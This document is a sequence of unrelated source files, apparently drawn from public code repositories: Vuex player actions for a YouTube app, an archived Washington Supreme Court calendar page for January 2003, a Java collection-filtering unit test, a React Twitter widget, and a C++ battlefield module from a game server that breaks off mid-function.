if (index == -1) commit('ADD_TO_QUEUE', obj);
},
// Play a video
playVideo({ state, dispatch, commit }, video) {
if (!state.playing || state.playing.videoId != video.videoId) {
state.player.loadVideoById({ videoId: video.videoId, suggestedQuality: 'small' });
} else {
state.player.playVideo();
}
video.isPlaying = true;
commit('PLAYING',video);
dispatch('addToQueue', video);
},
// Puase a video
pauseVideo({ state, dispatch, commit }, video) {
video.isPlaying = false;
state.player.pauseVideo();
commit('PLAYING',video);
},
// Play next song
next({ state, dispatch, commit }) {
if (state.queue && state.playing) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == state.playing.videoId;
});
if (index != -1 && state.queue[index + 1]) {
dispatch('playVideo', state.queue[index + 1]);
}
}
},
// Play previous song
previous({ state, dispatch, commit }) {
if (state.queue && state.playing) {
var index = _.findIndex(state.queue, function(o) {
return o.videoId == state.playing.videoId;
});
if (index && state.queue[index - 1]) {
dispatch('playVideo', state.queue[index - 1]);
}
}
},
addToFav({state,commit},video){
var index = _.findIndex(state.favs,function(o){
return o.videoId == video.videoId;
});
// Add to favs if not exists
if(index == -1) {
commit('ADD_TO_FAVS',video);
state.localStorage.setItem("favs", state.favs);
} else if(index >= 0) {
commit('REMOVE_FROM_FAVS',index);
state.localStorage.setItem("favs", state.favs);
}
},
// Add localforge to state and load data from localStorage
loadLocalStorage({state,commit},localStorage){
commit('LOAD_LOCAL_STORAGE',localStorage);
state.localStorage.getItem('favs').then(function(list) {
if(list) commit('ADD_TO_FAVS',list);
}).catch(function(err) {
console.log(err);
});
}
}
export default actions; | iamspal/playtube | src/store/actions.js | JavaScript | gpl-3.0 | 2,955 |
<!DOCTYPE html>
<html>
<head>
<title>Washington State Courts - Supreme Court Calendar </title>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta http-equiv="expires" content="0">
<meta http-equiv="Pragma" content="no-cache">
<link rel="icon" type="image/vnd.microsoft.icon" href="//www.courts.wa.gov/favicon.ico">
<noscript>
<link href="/css/layoutStylesv3.css" type=text/css rel=stylesheet />
<link href="/css/stylesheetv2.css" type=text/css rel=stylesheet />
<link href="/css/tabStyles.css" type=text/css rel=stylesheet />
<link href="/css/subsite_stylesv2.css" rel=stylesheet type=text/css />
</noscript>
<script language="JavaScript" src="/includes/AOCScripts.js" type="text/javascript"></script>
<script type="text/javascript" language="JavaScript1.2" src="/includes/stm31.js"></script>
<script src="/scripts/jquery-1.11.2.min.js" type="text/javascript" language="JavaScript"></script>
<script src="/js/modernizr-custom.min.js"></script>
<script src="/js/featureDetection.js"></script>
<script src="/js/jqueryForForm.js" type="text/javascript"></script>
<script src="/js/multiFileUpload.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="/css/libraryStylesv2.css" />
<link rel="stylesheet" type="text/css" href="/css/layoutStylesv3.css" />
<link rel="stylesheet" type="text/css" href="/css/stylesheetv2.css" />
<link rel="stylesheet" type="text/css" href="/css/subsite_stylesv2.css" />
</head>
<body>
<div id="topLayout">
<div id="newLayout">
<div id="newPageLayout">
<a name="top"></a>
<div id="topheader">
<div id="left"><a href="/"><img src="/images/waCourtsLogo.png" border="0" alt="Welcome to Washington State Courts" /></a></div>
<div id="right">
<div class="socialMediaBar">
<ul>
<li><a href="/notifications/" title="Sign up for Notifications"><img src="/images/iconEmailBlue.png" alt="Sign up for Email Notifications" border="0" /></a></li>
<li><a href="/notifications/" title="Sign up for Notifications">Get Email Updates</a></li>
<li>|</li>
<li><a href="https://aoc.custhelp.com/"><img src="/images/iconHelp_flatBlueSm2.png" border="0" /></a></li>
<li><a href="https://aoc.custhelp.com/">FAQs & eService Center</a></li>
</ul>
</div>
<div class="topSearchArea">
<form method="post" action="/search/index.cfm?fa=search.start_search">
<input type="text" name="searchTerms" size="36" maxlength="256" placeholder="Search WA Courts Site" class="searchField" value="Search WA Courts Site"
onfocus="if (this.value=='Search WA Courts Site'){this.value='';$(this).css('color','#000000','font-style','normal');}"
onblur="if (this.value==''){this.value='Search WA Courts Site';$(this).css('color', '#bbbbb7');}">
<input type="image" name="btnSearch" class="searchButton" alt="Search" src="/images/iconSearch.png">
</form>
</div>
</div>
</div>
<div id="mainNav">
<ul id="menuBar">
<a href="/forms/" ><li class="menuItem first" >Forms</li></a>
<a href="/court_dir/" ><li class="menuItem" >Court Directory</li></a>
<a href="/opinions/" ><li class="menuItem">Opinions</li></a>
<a href="/court_rules/" ><li class="menuItem">Rules</li></a>
<a href="/appellate_trial_courts/" ><li class="menuItem">Courts</li></a>
<a href="/programs_orgs/" ><li class="menuItem">Programs & Organizations</li></a>
<a href="/newsinfo/index.cfm?fa=newsinfo.displayContent&theFile=content/ResourcesPubsReports" ><li class="menuItem last">Resources</li></a>
</ul>
</div>
<div id="topline">
<div id="left" class="breadcrumb"><a href="/">Courts Home</a> > <a href="/appellate_trial_courts/" class="breadcrumb">Courts</a> > <a href="/appellate_trial_courts/supreme/calendar" class="breadcrumb">Supreme Court Calendar</a></div>
</div>
<a name="body"></a>
<table width="100%" border="0" cellspacing="0" cellpadding="0" style="clear:both;">
<tr>
<td width="10"> </td>
<td valign="top" class="mainPage">
<table width="100%">
<tr>
<td valign="top"><h2>Supreme Court Calendar</h2></td>
<td valign="top" align="right" width="175"><div class="linkBox"><a href="/appellate_trial_courts/coaBriefs/index.cfm?fa=coaBriefs.ScHome&courtId=A08">Supreme Court Briefs</a></div></td>
</tr>
</table>
<table border=0 cellspacing="0" cellpadding="2" width="95%">
<tr>
<td valign="top" width="45%"><p><b>9:00 A.M. </b>
</td>
<td valign="top" ><p><b> Olympia </b>
</td>
<td valign="top"><p><b>Wednesday, January 22, 2003</b>
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 1 – 72412-1</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>State of Washington,
<BR> v.
<br>Viengmone Khounvichai
</td>
<td valign="top" width="295"><p>Randi Austell
<p>Eric Nielsen
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether evidence of the defendant’s drug possession, found in his home, should have been suppressed because police officers who went to his home to talk with him about an unrelated crime failed to inform his grandmother, who answered the door, that she did not have to let them in and could revoke her consent at any time.
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 2 – 72366-4</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>In re the Marriage of
<p>John Christopher Rideout,
<br> and
<br>Sara Dixon Rideout
</td>
<td valign="top" width="295">
<p>Charles Szurszewski
<br>Kenneth Master/Charles Wiggins
<p>Melissa Denton
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> What is the proper appellate standard of review where a trial court’s decision is based solely on documentation, including declarations, and where the credibility of the parties is at issue before the court. Additionally, whether a divorced parent may be held in contempt for bad faith violation of a parenting plan when a child refuses visitation with the noncustodial parent.
</td></tr></table>
<p></p>
<hr noshade align="left" width="95%">
<b>1:30 P.M.</b>
<hr noshade align="left" width="95%">
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 3 – 72435-1</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>State of Washington,
<BR> v.
<br>Peter H. Moen
</td>
<td valign="top" width="295"><p>Andrew Metts/Kevin Korsmo
<p>Paul Mack
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether a prosecutor may condition plea bargaining on a defendant’s waiver of the right to request the identity of a confidential informant in a related civil action seeking return of forfeited property.
</td></tr></table>
<p>
<table border="1" cellspacing="0" cellpadding="2" width="95%">
<tr>
<td width="288"></td>
<td width="295"></td></tr>
<tr>
<td valign="top" width="288"><p><b>Case No. 4 – 72436-9</b>
</td>
<td valign="top" width="295"><p><b><u>COUNSEL</u></b>
</td></tr>
<tr>
<td valign="top" width="288"><p>Judy Kloepfel,
<BR> v.
<br>Joseph Bokor
</td>
<td valign="top" width="295"><p>Charles Conrad
<p>Stanley Perdue
</td></tr>
<tr>
<td colspan="2" valign="top" width="583"><p><b>SYNOPSIS:</b> Whether a plaintiff must present medical evidence of objective physical symptoms or manifestations of severe emotional injury in order to prevail on a claim for intentional infliction of emotional distress.
</td></tr></table>
<p><b>These summaries are not formulated by the Court and are provided for the convenience of the public only.</b>
</td>
<td width="10"> </td>
</tr>
</table>
<div class="footerOuter">
<div class="footerBg">
<div class="footerLayout">
<ul>
<span class="footerHeader">Access Records</span>
<li><a href="/jislink/">JIS LINK</a></li>
<li><a href="http://dw.courts.wa.gov?fa=home.fmcd">Find Your Court Date</a></li>
<li><a href="http://dw.courts.wa.gov">Search Case Records</a></li>
<li><a href="/newsinfo/publication/?fa=newsinfo_publication.recordsRequest">Records Request</a></li>
<li><a href="/jis/">Judicial Info System (JIS)</a></li>
<li><a href="https://odysseyportal.courts.wa.gov/odyportal">Odyssey Portal</a></li>
<li><a href="/caseload">Caseload Reports</a></li>
<li>
</li>
</ul>
<ul>
<span class="footerHeader">Find Resources</span>
<li><a href="/library/">State Law Library</a></li>
<li><a href="/education/">Civic Learning</a></li>
<li><a href="/newsinfo/index.cfm?fa=newsinfo.displayContent&theFile=content/ResourcesPubsReports">Resources, Publications, & Reports</a></li>
<li><a href="/committee/?fa=committee.home&committee_id=143">Court Program Accessibility (ADA)</a></li>
<li><a href="/newsinfo/resources/">Jury Service Information</a></li>
<li><a href="/Whistleblower/">Whistleblower</a></li>
<li><a href="/employ/">Employment</a></li>
<li><a href="/procure/">Procurement</a></li>
</ul>
<ul>
<span class="footerHeader">From the Courts</span>
<li><a href="/forms/">Court Forms</a></li>
<li><a href="/forms/?fa=forms.contribute&formID=16">Domestic Violence Forms</a></li>
<li><a href="/opinions/">Court Opinions</a></li>
<li><a href="/court_rules/">Court Rules</a></li>
<li><a href="/index.cfm?fa=home.contentDisplay&location=PatternJuryInstructions">Pattern Jury Instructions</a></li>
<li><a href="/emergency/">Emergency Procedures</a></li>
<li><a href="/index.cfm?fa=home.courtClosures">Notice of Court Closures</a></li>
</ul>
<ul>
<span class="footerHeader">Get Organizational Information</span>
<li><a href="/appellate_trial_courts/aocwho/">Administrative Office of the Courts</a></li>
<li><a href="/appellate_trial_courts/SupremeCourt/?fa=supremecourt.welcome">Supreme Court</a></li>
<li><a href="/appellate_trial_courts/">Appellate & Trial Courts</a></li>
<li><a href="/programs_orgs/">Programs & Organizations</a></li>
<li><a href="/newsinfo/">Washington Court News</a></li>
<li><a href="/court_dir/">Court Directory</a></li>
</ul>
</div>
</div>
</div>
</div>
<div class="stayConnected">
<ul style="float:left;">
<li><span class="stayConnectedHeader">Connect with us</span></li>
<li><a href="https://www.facebook.com/washingtoncourts"><img src="/images/iconFB_gray.png" alt="Find us on Facebook" border="0" /></a></li>
<li><a href="https://twitter.com/WACourts"><img src="/images/iconTwitter_gray.png" alt="Follow us on Twitter" border="0" /></a></li>
<li><a href="http://www.youtube.com/channel/UCx4B3hu7aZGPnYGKwph2M0w"><img src="/images/iconYT_gray.png" alt="Watch our YouTube Channel" border="0" /></a></li>
<li><a href="/notifications/?fa=notifications.rss"><img src="/images/iconRss_gray.png" alt="Use one of our RSS Feeds" border="0" /></a></li>
</ul>
<ul style="float:left; padding: 0 0 0 24px;">
<li><span class="stayConnectedHeader">Need Help?</span></li>
<li><a href="https://aoc.custhelp.com/"><img src="/images/iconHelp_lg.png" border="0"></a></li>
<li><span class="stayConnectedHeader"><a href="https://aoc.custhelp.com/">FAQs & eService Center</a></span></li>
</ul>
</div>
<div class="footerLower">
<ul>
<li class="footerText" style="float:left;"><a href="/?fa=home.notice">Privacy & Disclaimer Notices</a> | <a href="/index.cfm?fa=home.sitemap">Sitemap</a></li>
<li class="sealPos"><img src="/images/footerSeal.png" alt="WA State Seal" ></li>
<li class="footerText" style="float:right;">Copyright AOC © 2014</li>
</ul>
</div>
<div class="accessWA">
<div style="display:inline; padding:0 12px 0 8px;float:left;"><a href="http://access.wa.gov" target="_blank"><img src="/images/AWlogo2_150px.gif" border="0" /></a></div>
<div style="display:inline; padding:8px 0;float:left;">For Washington State laws, visit the <a href="http://www1.leg.wa.gov/Legislature/" class="external" target="_blank" style="text-decoration:underline;">Washington State Legislature</a></div>
<div style="display:inline; padding:8px 0;float:right; font-size:8px">S3</div>
</div>
</div>
</div>
</body>
</html> | jeffpar/courtcasts | sources/wasc/2003/01/22-docket.html | HTML | gpl-3.0 | 13,526 |
package com.baeldung.collection.filtering;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Set;
import java.util.stream.Collectors;
import org.hamcrest.Matchers;
import org.junit.Assert;
import org.junit.Test;
/**
* Various filtering examples.
*
* @author Rodolfo Felipe
*/
public class CollectionFilteringUnitTest {
private List<Employee> buildEmployeeList() {
return Arrays.asList(new Employee(1, "Mike", 1), new Employee(2, "John", 1), new Employee(3, "Mary", 1), new Employee(4, "Joe", 2), new Employee(5, "Nicole", 2), new Employee(6, "Alice", 2), new Employee(7, "Bob", 3), new Employee(8, "Scarlett", 3));
}
private List<String> employeeNameFilter() {
return Arrays.asList("Alice", "Mike", "Bob");
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingForEachLoop() {
List<Employee> filteredList = new ArrayList<>();
List<Employee> originalList = buildEmployeeList();
List<String> nameFilter = employeeNameFilter();
for (Employee employee : originalList) {
for (String name : nameFilter) {
if (employee.getName()
.equalsIgnoreCase(name)) {
filteredList.add(employee);
}
}
}
Assert.assertThat(filteredList.size(), Matchers.is(nameFilter.size()));
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingLambda() {
List<Employee> filteredList;
List<Employee> originalList = buildEmployeeList();
List<String> nameFilter = employeeNameFilter();
filteredList = originalList.stream()
.filter(employee -> nameFilter.contains(employee.getName()))
.collect(Collectors.toList());
Assert.assertThat(filteredList.size(), Matchers.is(nameFilter.size()));
}
@Test
public void givenEmployeeList_andNameFilterList_thenObtainFilteredEmployeeList_usingLambdaAndHashSet() {
List<Employee> filteredList;
List<Employee> originalList = buildEmployeeList();
Set<String> nameFilterSet = employeeNameFilter().stream()
.collect(Collectors.toSet());
filteredList = originalList.stream()
.filter(employee -> nameFilterSet.contains(employee.getName()))
.collect(Collectors.toList());
Assert.assertThat(filteredList.size(), Matchers.is(nameFilterSet.size()));
}
}
| Niky4000/UsefulUtils | projects/tutorials-master/tutorials-master/core-java-modules/core-java-collections-list-2/src/test/java/com/baeldung/collection/filtering/CollectionFilteringUnitTest.java | Java | gpl-3.0 | 2,531 |
// core
import React from 'react';
import PropTypes from 'react';
// components
import Loading from '../../components/loading/Loading';
// styles
var style = require('./_index.scss');
// data
var Timeline = require('react-twitter-widgets').Timeline;
var Twitter = React.createClass({
getInitialState: function(){
return {
isLoading: true
}
},
componentWillMount: function(){
this.setState({
isLoading: true
})
},
componentDidMount: function(){
this.setState({
isLoading: false
})
},
render: function(){
if(this.state.isLoading === true){
return (
<Loading />
)
} else {
return (
<div className='twitter-container'>
<Timeline className='twitter-component' dataSource={{
sourceType: 'widget',
widgetId: '844245316706566144'
}} />
</div>
)
}
}
});
export default Twitter;
| JoeDahle/fic | app/components/twitter/Twitter.js | JavaScript | gpl-3.0 | 946 |
/*
===========================================================================
Copyright (c) 2010-2014 Darkstar Dev Teams
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/
This file is part of DarkStar-server source code.
===========================================================================
*/
#include <string.h>
#include "../entities/charentity.h"
#include "../entities/mobentity.h"
#include "../party.h"
#include "charutils.h"
#include "../alliance.h"
#include "zoneutils.h"
#include "itemutils.h"
#include "battlefieldutils.h"
#include "../battlefield.h"
#include "../battlefield_handler.h"
#include "../packets/entity_update.h"
namespace battlefieldutils{
/***************************************************************
Loads the given battlefield from the database and returns
a new Battlefield object.
****************************************************************/
CBattlefield* loadBattlefield(CBattlefieldHandler* hand, uint16 bcnmid, BATTLEFIELDTYPE type){
const int8* fmtQuery = "SELECT name, bcnmId, fastestName, fastestTime, timeLimit, levelCap, lootDropId, rules, partySize, zoneId \
FROM bcnm_info \
WHERE bcnmId = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, bcnmid);
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0 ||
Sql_NextRow(SqlHandle) != SQL_SUCCESS)
{
ShowError("Cannot load battlefield BCNM:%i \n",bcnmid);
}
else
{
CBattlefield* PBattlefield = new CBattlefield(hand,Sql_GetUIntData(SqlHandle,1), type);
int8* tmpName;
Sql_GetData(SqlHandle,0,&tmpName,NULL);
PBattlefield->setBcnmName(tmpName);
PBattlefield->setTimeLimit(Sql_GetUIntData(SqlHandle,4));
PBattlefield->setLevelCap(Sql_GetUIntData(SqlHandle,5));
PBattlefield->setLootId(Sql_GetUIntData(SqlHandle,6));
PBattlefield->setMaxParticipants(Sql_GetUIntData(SqlHandle,8));
PBattlefield->setZoneId(Sql_GetUIntData(SqlHandle,9));
PBattlefield->m_RuleMask = (uint16)Sql_GetUIntData(SqlHandle,7);
return PBattlefield;
}
return NULL;
}
/***************************************************************
Spawns monsters for the given BCNMID/Battlefield number by
looking at bcnm_battlefield table for mob ids then spawning
them and adding them to the monster list for the given
battlefield.
****************************************************************/
bool spawnMonstersForBcnm(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT monsterId, conditions \
FROM bcnm_battlefield \
WHERE bcnmId = %u AND battlefieldNumber = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID(), battlefield->getBattlefieldNumber());
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnMonstersForBcnm : SQL error - Cannot find any monster IDs for BCNMID %i Battlefield %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS){
uint32 mobid = Sql_GetUIntData(SqlHandle,0);
uint8 condition = Sql_GetUIntData(SqlHandle,1);
CMobEntity* PMob = (CMobEntity*)zoneutils::GetEntity(mobid, TYPE_MOB);
if (PMob != NULL)
{
PMob->m_battlefieldID = battlefield->getBattlefieldNumber();
PMob->m_bcnmID = battlefield->getID();
if (condition & CONDITION_SPAWNED_AT_START)
{
// This condition is needed for some mob at dynamis, else he don't pop
if(PMob->PBattleAI->GetCurrentAction() == ACTION_FADE_OUT){
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_NONE);
}
if (PMob->PBattleAI->GetCurrentAction() == ACTION_NONE ||
PMob->PBattleAI->GetCurrentAction() == ACTION_SPAWN)
{
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_SPAWN);
if(strcmp(PMob->GetName(),"Maat")==0){
mobutils::SetupMaat(PMob, (JOBTYPE)battlefield->getPlayerMainJob());
PMob->m_DropID = 4485; //Give Maat his stealable Warp Scroll
// disable players subjob
battlefield->disableSubJob();
// disallow subjob, this will enable for later
battlefield->m_RuleMask &= ~(1 << RULES_ALLOW_SUBJOBS);
}
//ShowDebug("Spawned %s (%u) id %i inst %i \n",PMob->GetName(),PMob->id,battlefield->getID(),battlefield->getBattlefieldNumber());
battlefield->addEnemy(PMob, condition);
} else {
ShowDebug(CL_CYAN"SpawnMobForBcnm: <%s> (%u) is alredy spawned\n" CL_RESET, PMob->GetName(), PMob->id);
}
} else {
battlefield->addEnemy(PMob, condition);
}
} else {
ShowDebug("SpawnMobForBcnm: mob %u not found\n", mobid);
}
}
return true;
}
return false;
}
/***************************************************************
Spawns treasure chest/armory crate, what ever on winning bcnm
****************************************************************/
bool spawnTreasureForBcnm(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT npcId \
FROM bcnm_treasure_chests \
WHERE bcnmId = %u AND battlefieldNumber = %u";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID(), battlefield->getBattlefieldNumber());
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnTreasureForBcnm : SQL error - Cannot find any npc IDs for BCNMID %i Battlefield %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else
{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS)
{
uint32 npcid = Sql_GetUIntData(SqlHandle,0);
CBaseEntity* PNpc = (CBaseEntity*)zoneutils::GetEntity(npcid, TYPE_NPC);
if (PNpc != NULL)
{
PNpc->status = STATUS_NORMAL;
PNpc->animation = 0;
PNpc->loc.zone->PushPacket(PNpc, CHAR_INRANGE, new CEntityUpdatePacket(PNpc, ENTITY_SPAWN, UPDATE_ALL));
battlefield->addNpc(PNpc);
ShowDebug(CL_CYAN"Spawned %s id %i inst %i \n",PNpc->status,PNpc->id,battlefield->getBattlefieldNumber());
}else
{
ShowDebug(CL_CYAN"spawnTreasureForBcnm: <%s> is already spawned\n" CL_RESET, PNpc->GetName());
}
}
return true;
}
return false;
}
/**************************************************************
Called by ALL BCNMs to check winning conditions every tick. This
is usually when all the monsters are defeated but can be other things
(e.g. mob below X% HP, successful Steal, etc)
***************************************************************/
bool meetsWinningConditions(CBattlefield* battlefield, uint32 tick){
if (battlefield->won()) return true;
//handle odd cases e.g. stop fight @ x% HP
//handle Maat fights
if(battlefield->locked && (battlefield->m_RuleMask & RULES_MAAT))
{
// survive for 5 mins
if(battlefield->getPlayerMainJob() == JOB_WHM && (tick - battlefield->fightTick) > 5 * 60 * 1000)
return true;
if(battlefield->isEnemyBelowHPP(10))
return true;
if(battlefield->getPlayerMainJob() == JOB_THF && battlefield->m_EnemyList.at(0)->m_ItemStolen) //thf can win by stealing from maat only if maat not previously defeated
{
const int8* fmtQuery = "SELECT value FROM char_vars WHERE charid = %u AND varname = '%s' LIMIT 1;";
int32 ret = Sql_Query(SqlHandle,fmtQuery,battlefield->m_PlayerList.at(0)->id, "maatDefeated");
if(ret != SQL_ERROR && Sql_NumRows(SqlHandle) == 0)
return true;
else if(ret != SQL_ERROR && Sql_NumRows(SqlHandle) != 0 && Sql_NextRow(SqlHandle) == SQL_SUCCESS)
{
int16 value = (int16)Sql_GetIntData(SqlHandle,0);
if(value <= 0)
return true;
}
}
}
// savage
if(battlefield->getID() == 961 && battlefield->isEnemyBelowHPP(30)){
return true;
}
//generic cases, kill all mobs
if(battlefield->allEnemiesDefeated()){
return true;
}
return false;
}
/**************************************************************
Called by ALL BCNMs to check losing conditions every tick. This
will be when everyone is dead and the death timer is >3min (usually)
or when everyone has left, etc.
****************************************************************/
bool meetsLosingConditions(CBattlefield* battlefield, uint32 tick){
if (battlefield->lost()) return true;
//check for expired duration e.g. >30min. Need the tick>start check as the start can be assigned
//after the tick initially due to threading
if(tick>battlefield->getStartTime() && (tick - battlefield->getStartTime()) > battlefield->getTimeLimit()*1000){
ShowDebug("BCNM %i inst:%i - You have exceeded your time limit!\n",battlefield->getID(),
battlefield->getBattlefieldNumber(),tick,battlefield->getStartTime(),battlefield->getTimeLimit());
return true;
}
battlefield->lastTick = tick;
//check for all dead for 3min (or whatever the rule mask says)
if(battlefield->getDeadTime()!=0){
if(battlefield->m_RuleMask & RULES_REMOVE_3MIN){
// if(((tick - battlefield->getDeadTime())/1000) % 20 == 0){
// battlefield->pushMessageToAllInBcnm(200,180 - (tick - battlefield->getDeadTime())/1000);
// }
if(tick - battlefield->getDeadTime() > 180000){
ShowDebug("All players from the battlefield %i inst:%i have fallen for 3mins. Removing.\n",
battlefield->getID(),battlefield->getBattlefieldNumber());
return true;
}
}
else{
ShowDebug("All players have fallen. Failed battlefield %i inst %i. No 3min mask. \n",battlefield->getID(),battlefield->getBattlefieldNumber());
return true;
}
}
return false;
}
/*************************************************************
Returns the losing exit position for this BCNM.
****************************************************************/
void getLosePosition(CBattlefield* battlefield, int (&pPosition)[4]){
if(battlefield==NULL)
return;
switch(battlefield->getZoneId()){
case 139: //Horlais Peak
pPosition[0]=-503; pPosition[1]=158; pPosition[2]=-212; pPosition[3]=131;
break;
}
}
void getStartPosition(uint8 zoneid, int (&pPosition)[4]){
switch(zoneid){
case 139: //Horlais Peak
pPosition[0]=-503; pPosition[1]=158; pPosition[2]=-212; pPosition[3]=131;
break;
case 144: //Waug. Shrine
pPosition[0]=-361; pPosition[1]=100; pPosition[2]=-260; pPosition[3]=131;
break;
case 146: //Balgas Dias
pPosition[0]=317; pPosition[1]=-126; pPosition[2]=380; pPosition[3]=131;
break;
case 165: //Throne Room
pPosition[0]=114; pPosition[1]=-8; pPosition[2]=0; pPosition[3]=131;
break;
case 206: //QuBia Arena
pPosition[0]=-241; pPosition[1]=-26; pPosition[2]=20; pPosition[3]=131;
break;
}
}
/*************************************************************
Returns the winning exit position for this BCNM.
****************************************************************/
void getWinPosition(CBattlefield* battlefield, int (&pPosition)[4]){
if(battlefield==NULL)
return;
switch(battlefield->getZoneId()){
case 139: //Horlais Peak
pPosition[0]=445; pPosition[1]=-38; pPosition[2]=-19; pPosition[3]=200;
break;
}
}
uint8 getMaxLootGroups(CBattlefield* battlefield){
const int8* fmtQuery = "SELECT MAX(lootGroupId) \
FROM bcnm_loot \
JOIN bcnm_info ON bcnm_info.LootDropId = bcnm_loot.LootDropId \
WHERE bcnm_info.LootDropId = %u LIMIT 1";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getLootId());
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0 || Sql_NextRow(SqlHandle) != SQL_SUCCESS){
ShowError("SQL error occured \n");
return 0;
}
else {
return (uint8)Sql_GetUIntData(SqlHandle,0);
}
}
uint16 getRollsPerGroup(CBattlefield* battlefield, uint8 groupID){
const int8* fmtQuery = "SELECT SUM(CASE \
WHEN LootDropID = %u \
AND lootGroupId = %u \
THEN rolls \
ELSE 0 END) \
FROM bcnm_loot;";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getLootId(), groupID);
if (ret == SQL_ERROR || Sql_NumRows(SqlHandle) == 0 || Sql_NextRow(SqlHandle) != SQL_SUCCESS){
ShowError("SQL error occured \n");
return 0;
}
else {
return (uint16)Sql_GetUIntData(SqlHandle,0);
}
}
/*************************************************************
Get loot from the armoury crate
****************************************************************/
void getChestItems(CBattlefield* battlefield){
int instzone = battlefield->getZoneId();
uint8 maxloot = 0;
LootList_t* LootList = itemutils::GetLootList(battlefield->getLootId());
if (LootList == NULL){
ShowError("BCNM Chest opened with no valid loot list!");
//no loot available for bcnm. End bcnm.
battlefield->winBcnm();
return;
}
else
{
for (uint8 sizeoflist=0; sizeoflist < LootList->size() ; ++sizeoflist){
if(LootList->at(sizeoflist).LootGroupId > maxloot){
maxloot= LootList->at(sizeoflist).LootGroupId;
}
}
}
//getMaxLootGroups(battlefield);
if(maxloot!=0){
for (uint8 group = 0; group <= maxloot; ++group){
uint16 maxRolls = getRollsPerGroup(battlefield,group);
uint16 groupRoll = (uint16)(WELL512::irand()%maxRolls);
uint16 itemRolls = 0;
for (uint8 item = 0; item < LootList->size(); ++item)
{
if (group == LootList->at(item).LootGroupId)
{
itemRolls += LootList->at(item).Rolls;
if (groupRoll <= itemRolls)
{
battlefield->m_PlayerList.at(0)->PTreasurePool->AddItem(LootList->at(item).ItemID, battlefield->m_NpcList.at(0));
break;
}
}
}
}
}
//user opened chest, complete bcnm
if(instzone!=37 && instzone!=38 ){
battlefield->winBcnm();
}
else{
battlefield->m_NpcList.clear();
}
}
bool spawnSecondPartDynamis(CBattlefield* battlefield){
DSP_DEBUG_BREAK_IF(battlefield==NULL);
//get ids from DB
const int8* fmtQuery = "SELECT monsterId \
FROM bcnm_battlefield \
WHERE bcnmId = %u AND battlefieldNumber = 2";
int32 ret = Sql_Query(SqlHandle, fmtQuery, battlefield->getID());
if (ret == SQL_ERROR ||
Sql_NumRows(SqlHandle) == 0)
{
ShowError("spawnSecondPartDynamis : SQL error - Cannot find any monster IDs for Dynamis %i \n",
battlefield->getID(), battlefield->getBattlefieldNumber());
}
else{
while(Sql_NextRow(SqlHandle) == SQL_SUCCESS){
uint32 mobid = Sql_GetUIntData(SqlHandle,0);
CMobEntity* PMob = (CMobEntity*)zoneutils::GetEntity(mobid, TYPE_MOB);
if (PMob != NULL)
{
if (PMob->PBattleAI->GetCurrentAction() == ACTION_NONE ||
PMob->PBattleAI->GetCurrentAction() == ACTION_SPAWN)
{
PMob->PBattleAI->SetLastActionTime(0);
PMob->PBattleAI->SetCurrentAction(ACTION_SPAWN);
PMob->m_battlefieldID = battlefield->getBattlefieldNumber();
ShowDebug("Spawned %s (%u) id %i inst %i \n",PMob->GetName(),PMob->id,battlefield->getID(),battlefield->getBattlefieldNumber());
battlefield->addEnemy(PMob, CONDITION_SPAWNED_AT_START & CONDITION_WIN_REQUIREMENT);
} else {
